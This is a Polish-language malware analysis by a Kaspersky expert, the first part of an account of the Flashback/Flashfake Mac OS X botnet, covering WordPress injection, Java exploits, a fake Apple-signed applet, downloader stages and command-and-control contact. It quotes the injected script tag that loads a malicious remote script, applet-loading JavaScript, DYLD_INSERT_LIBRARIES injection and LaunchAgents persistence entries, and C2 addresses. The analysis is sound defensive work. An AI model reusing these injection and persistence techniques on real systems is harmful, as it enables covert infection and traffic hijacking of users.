Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

Anatomia Flashfake'a. Część 1

Tagi:

Aleksander Gostiew
Ekspert z Kaspersky Lab

Czym jest Flashback / Flashfake?

Flashback / Flashfake to rodzina szkodliwego oprogramowania zaprojektowanego dla systemów Mac OS X. Pierwsze wersje tego zagrożenia zostały wykryte we wrześniu 2011 roku. W marcu 2012 roku na całym świecie funkcjonowało ponad 700 000 komputerów, na których "gościł" Flashback. Zainfekowane komputery łączone są w botnet, co umożliwia cyberprzestępcom instalowanie na nich dodatkowych modułów szkodnika. Jeden z takich modułów znany jest z tego, że generuje fałszywe wyniki wyszukiwania. Jest całkiem możliwe, że oprócz przechwytywania ruchu sieciowego silników wyszukiwarek, cyberprzestępcy mogą przesłać inne szkodliwe moduły do zainfekowanych komputerów – np. do kradzieży danych lub dystrybucji spamu.


Zerowa faza infekcji: zhakowane blogi WordPress

Od września 2011 roku do lutego 2012 roku szkodnik Flashfake był dystrybuowany jedynie z wykorzystaniem metod inżynierii społecznej: użytkownicy odwiedzający różne strony byli proszeni o pobranie fałszywej aktualizacji aplikacji Adobe Flash Player. Trojan był rozprzestrzeniany jako archiwa instalacyjne zwane "FlashPlayer-11-macos.pkg", "AdobeFlashUpdate.pkg" itd.

Użycie exploitów do dystrybucji Flashfake'a zostało po raz pierwszy odnotowane w lutym 2012 roku; w atakach tych użyte zostały exploity datowane na rok 2008 i 2011. Wykorzystanie luki CVE2012-0507 zostało po raz pierwszy zaobserwowane w marcu 2012 roku. W tym momencie była to luka, która w systemie Mac OS X pozostała niezałatana mimo faktu, że firma Oracle opublikowała łatę w lutym. Przyczyną było to, iż Apple nigdy nie używa poprawek od Oracle, a tworzy własne poprawki do załatania luk w Javie. Poprawka dla systemu Mac OS X likwidująca lukę CVE2012-0507 została opublikowana na początku kwietnia.

Praktyka publikowania łat z około dwumiesięcznym opóźnieniem jest tradycyjna dla firmy Apple.

Luka Poprawka od Oracle Poprawka od Apple
CVE2008-5353 14 kwietnia 2009 15 czerwca 2009
CVE2011-3544 18 października 2011 8 listopada 2011
CVE2012-0507 14 lutego 2012 03-12 kwietnia 2012

Aby dystrybuować Flashfake'a, jego autorzy zrobili w marcu 2012 roku użytek z cyberprzestępczego programu partnerskiego pochodzenia (prawdopodobnie) rosyjskiego.

Program partnerski opierał się na skryptach przekierowań z ogromnej liczby legalnych stron internetowych na całym świecie. W okolicach końcówki lutego / początku marca 2012 roku zaatakowano dziesiątki tysięcy stron wykorzystujących WordPress. Do końca nie jest jasne, jak to się stało. Główne teorie są takie, że blogerzy używali dziurawych wersji aplikacji WordPress lub zainstalowali wtyczkę ToolsPack. Organizacja Websense podała liczbę 30 000 zainfekowanych stron , podczas gdy inne firmy utrzymują, że liczba ta mogła sięgać nawet 100 000. W przybliżeniu - 85% naruszonych blogów było zlokalizowanych w Stanach Zjednoczonych.

Kod wstrzykiwany był do stron głównych, gdy blogi zostały zhakowane. Do kodu dodawane były wpisy typu:

<script src="http://nazwa_domeny.rr.nu/nl.php?p=d"></script>

W rezultacie - kiedy odwiedzana była którakolwiek z zainfekowanych stron, następował kontakt z programem partnerskim TDS. W zależności od wersji systemu operacyjnego i przeglądarki internetowej, przeglądarka wykonywała ukryte przekierowanie do szkodliwych witryn w strefie domenowej rr.nu, które posiadały zainstalowany zestaw exploitów, właściwy do przeprowadzenia infekcji.


Kod witryny w WordPress z odnośnikiem do szkodliwego skryptu

Pierwsza faza infekcji: ataki drive-by-download i inżynieria społeczna

Podczas wykonywania ukrytych przekierowań (np. hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg) przeglądarka otrzymywała na szkodliwej witrynie dostęp do folderu /3f/ lub /7f/ i wykonywała skrypt, który ładował aplet Javy.

Poniżej znajduje się przykład takiego skryptu:

if(rts != "on"){
document.write('<applet archive="rh-3.jar" code="rhcls" width="1"
height="1"></applet>');
document.write('<applet archive="cl-3.jar" code="msf/x/AppletX"
width="1" height="1"></applet>');
}

W skład ataku wchodziła próba uruchomienia czterech plików JAR (aplikacje Javy). Trzy z nich były exploitami luk Javy; czwarty plik udawał legalną aplikację i był narzędziem socjotechniki, stosowanym do oszukania ofiary.

Wykorzystywane luki:

Każdy plik JAR zawierał exploit jednej luki i szkodliwy plik wykonywalny, który był wyodrębniany i instalowany w systemie.


Fragment kodu exploitu CVE2008-5353


Fragment kodu exploitu CVE2011-3544


Fragment kodu exploitu CVE2012-0507

Jeżeli wykorzystanie exploita nie powiodło się, następowała próba zarażenia systemu z użyciem specjalnie spreparowanego apletu Javy, który próbował prześlizgnąć się jako legalny plik sygnowany przez Apple. Domniemany certyfikat miał na celu otrzymanie od użytkownika praw niezbędnych do instalacji pliku.


Ta metoda dystrybucji Flashfake'a została wykryta w lutym 2012 roku.

Napastnicy skorzystali z metody polegającej na przyznawaniu aplikacji praw dostępu przez użytkownika systemu - aplikacja informowała, że jest podpisana cyfrowo przez Apple. Aplikacja oczywiście nie miała oryginalnego podpisu Apple'a: certyfikat został sfałszowany przez cyberprzestępców.



Fragmenty kodu spreparowanego certyfikatu

Kiedy użytkownik godził się na przyznanie praw żądanych przez aplet, szkodliwy plik był wyodrębniany i instalowany.


Fragment kodu fałszywego apletu

Tak więc, wykonanie w przeglądarce internetowej jednego z czterech apletów opisanych powyżej (trzech zawierających exploity lub jednego, który domagał się od użytkownika praw dostępu) skutkowało instalacją pliku kontenera, który pełnił funkcję downloadera i instalatora pozostałych komponentów Flashfake'a.

Plik był instalowany w folderze /tmp/.sysenter, a następnie uruchamiany (jeżeli używany był exploit luki CVE2012-0507, generowana była losowa nazwa pliku).


Diagram prezentujący pierwszą fazę infekcji

Druga faza infekcji: pierwszy etap downloadera

Szkodliwy plik był instalowany w systemie jako kontener w formacie binarnym obiektu Mach (Mach-O), zawierający 32- lub 64-bitowy moduł – obie wersje posiadały praktycznie identyczną funkcjonalność.

Główną funkcją modułu w pierwszym etapie działania było nawiązanie komunikacji z serwerem kontroli, pobranie z niego dodatkowych modułów i instalacja ich w systemie. Po zakończeniu tych operacji, moduł sam się usuwał i nie pojawiał się ponownie w zainfekowanym systemie.

Zaraz po uruchomieniu moduł sprawdzał, czy w systemie obecne są aplikacje: LittleSnitch (popularna zapora sieciowa dla Mac OS X), XCode (zestaw narzędzi do rozwijania aplikacji dla OS X), aplikacje antywirusowe VirusBarrierX6.app, iAntiVirus.app, avast!.app oraz ClamXav.app lub HTTPScoop.app i Packet Peeper.app. Jeżeli któryś z wymienionych programów był obecny w systemie, moduł wstrzymywał działanie i usuwał się z komputera.

Jeżeli w systemie nie było wymienionych powyżej programów, moduł łączył się z jednym z serwerów kontroli (pod adresem np. 31.31.79.87 lub 78.46.139.211), zgłaszał uniwersalny unikatowy identyfikator UUID (Universally Unique IDentifier) komputera ofiary i przekazywał dodatkowe informacje o systemie (np. dokładny numer wersji systemu operacyjnego). Jako wiadomość zwrotną instalator odbierał pakiet danych, zawierający dwa dodatkowe zaszyfrowane składniki, z kluczem szyfrowania opartym na UUID komputera ofiary.


Fragment kodu modułu z listą aplikacji do sprawdzenia i adresem URL centrum kontroli

Po załadowaniu pakietu danych moduł wyodrębniał z niego pliki składników i instalował je w systemie:


Schemat działania Flashfake'a w pierwszym etapie downloadera

Downloader (typu backdoor) był pierwszym instalowanym komponentem. Był to główny moduł bota, odpowiedzialny za utrzymywanie interakcji z botnetem i pobieranie uaktualnień.

Instalator zapisywał ciało backdoora z dowolną nazwą (rozpoczynającą się od kropki, np. ".null.") na głównej partycji w folderze użytkownika $HOME/.

Instalator tworzył również plik .plist (zobacz poniżej), aby zapewnić przyszłe działanie backdoora:


Przykład pliku .plist

Ten plik był instalowany w folderze $HOME/Library/LaunchAgents/, co sprawiało, że moduł backdoora był automatycznie ładowany przy każdym uruchomieniu systemu.


Schemat działania Flashfake'a w opisywanej fazie infekcji

Drugi pobierany z Internetu komponent przechwytywał ruch sieciowy i podmieniał strony wyświetlane w przeglądarce internetowej.

Procedura instalacji zmieniła się znacznie w najnowszej wersji instalatora Flashfake'a, który rozprzestrzenia się za pośrednictwem luki CVE2012-0507. Poniżej znajduje się opis.


Fragment kodu instalatora

Instalator wywołuje funkcję systemową do żądania uprawnień administratora i czeka, aż użytkownik wprowadzi login i hasło.


Żądanie praw administracyjnych

Kiedy użytkownik wprowadzi wymagane informacje, instalator jest w stanie otworzyć w trybie do zapisu aplikację przeglądarki Safari.app (Applications/Safari.app/Contents/Resources/) i zapisać tam moduł, który przechwytuje ruch i podmienia strony internetowe, oraz drugi moduł, który uruchamia pierwszy moduł w procesie przeglądarki. Nazwy tych modułów są wybierane losowo, ale wszystkie rozpoczynają się od kropki i kończą rozszerzeniem .png lub .xsl.

Aby zapewnić automatyczne uruchamianie modułów, instalator modyfikuje zawartość pliku /Applications/Safari.app/Contents/Info.plist, dodając następujące ciągi znaków:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/.???_?????.xsl</string>
</dict>

Jeżeli powyższe działania zakończą się powodzeniem, instalator łączy się z centrum kontroli pod adresem np. 31.31.79.87/stat_d/, powiadamiając o pomyślnym zakończeniu operacji. Jeżeli podczas instalacji wystąpi błąd, nawiązywane jest połączenie z innym adresem, np. 31.31.79.87/stat_n/.

Gdy te czynności zostaną ukończone, instalator ponownie uruchomi przeglądarkę Safari, aby zastosować wprowadzone zmiany. Następnie instalator wstrzymuje swoje działanie i usuwa się z systemu.

Jeżeli użytkownik nie wprowadzi loginu / hasła administratora i kliknie przycisk "Anuluj", moduły zostaną zainstalowane przy użyciu innej metody.

Instalator najpierw sprawdza system pod kątem obecności następujących aplikacji: MicrosoftWord.app, MicrosoftOffice 2008, Applications/MicrosoftOffice 2011 i Skype.app. Jeżeli któryś z wymienionych programów będzie obecny w systemie, moduł wstrzyma swoje działanie i usunie się z systemu.

Jeżeli w systemie nie będzie wspomnianych aplikacji, moduł przechwytywania ruchu sieciowego zostanie zainstalowany w folderze /Users/Shared/ z nazwą .libgmalloc.dylib.

Przedtem jednak instalator usunie pliki z tego folderu za pomocą polecenia rm -f /Users/Shared/.*.so. Ta operacja jest najprawdopodobniej przeznaczona do usuwania wszelkich wcześniejszych wersji Flashfake'a, które są obecne w systemie.

Następnie instalator tworzy plik $HOME/.MacOS/environment.plist i zapisuje w nim następujący ciąg znaków:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Users/Shared/.libgmalloc.dylib</string>

W rezultacie moduł zostanie zakotwiczony i ładowany do każdej uruchomionej aplikacji.

Inny pomocniczy składnik zostanie zainstalowany w folderze użytkownika $HOME/Library/Application Support/ z losową nazwą, która rozpoczyna się od kropki i kończy rozszerzeniem .tmp.


Schemat działania Flashfake’a na etapie instalacji modułu nasłuchiwania ruchu sieciowego

Po zakończeniu procesu instalacji instalator łączy się z centrum kontroli pod adresem np. 31.31.79.87/stat_u/, informując o pomyślnej infekcji. Po wypełnieniu zadania instalator wstrzymuje działanie i usuwa ślady swojej obecności w systemie.